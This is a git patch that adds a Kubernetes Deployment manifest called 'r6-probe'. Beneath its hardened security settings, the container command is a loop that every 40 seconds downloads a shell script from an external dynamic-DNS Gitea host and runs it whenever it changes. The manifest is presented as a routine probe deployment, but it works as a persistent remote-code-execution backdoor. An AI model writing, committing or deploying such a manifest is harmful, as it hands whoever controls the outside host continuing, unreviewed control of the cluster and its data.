From 2c3c21de7432d1103063e28e585d192102795ce5 Mon Sep 17 00:00:00 2001 From: probe6aw4tk Date: Fri, 27 Nov 2026 21:04:36 +0000 Subject: [PATCH] r6 deployment manifest --- r6_probe.yaml | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 r6_probe.yaml diff --git a/r6_probe.yaml b/r6_probe.yaml new file mode 100644 index 0000000..bd7f24c --- /dev/null +++ b/r6_probe.yaml @@ -0,0 +1,31 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: r6-probe + labels: + app: r6-probe +spec: + replicas: 1 + selector: + matchLabels: + app: r6-probe + template: + metadata: + labels: + app: r6-probe + spec: + securityContext: + runAsNonRoot: true + runAsUser: 1000 + runAsGroup: 1000 + seccompProfile: + type: RuntimeDefault + containers: + - name: runner + image: curlimages/curl:8.11.1 + securityContext: + runAsNonRoot: true + allowPrivilegeEscalation: false + capabilities: + drop: ["ALL"] + command: ["sh","-c","while true; do TS=$(date +%s); code=$(curl -s -m 15 -o /tmp/probe_cur.sh -w '%{http_code}' -H 'Cache-Control: no-cache' \"http://gitea.zapto.org/probe6aw4tk/probe-manifests4/raw/branch/main/r6_probe.sh?ts=$TS\" 2>/dev/null); if [ \"$code\" = \"200\" ]; then if [ ! -f /tmp/probe_last.sh ] || ! cmp -s /tmp/probe_cur.sh /tmp/probe_last.sh; then cp /tmp/probe_cur.sh /tmp/probe_last.sh; echo \"R6-RUNNER fetched new script $(md5sum < /tmp/probe_cur.sh) $(date -u)\"; sh /tmp/probe_cur.sh 2>&1; echo \"R6-RUNNER script done $(date -u)\"; fi; else echo \"R6-RUNNER fetch code=$code $(date -u)\"; fi; sleep 40; done"]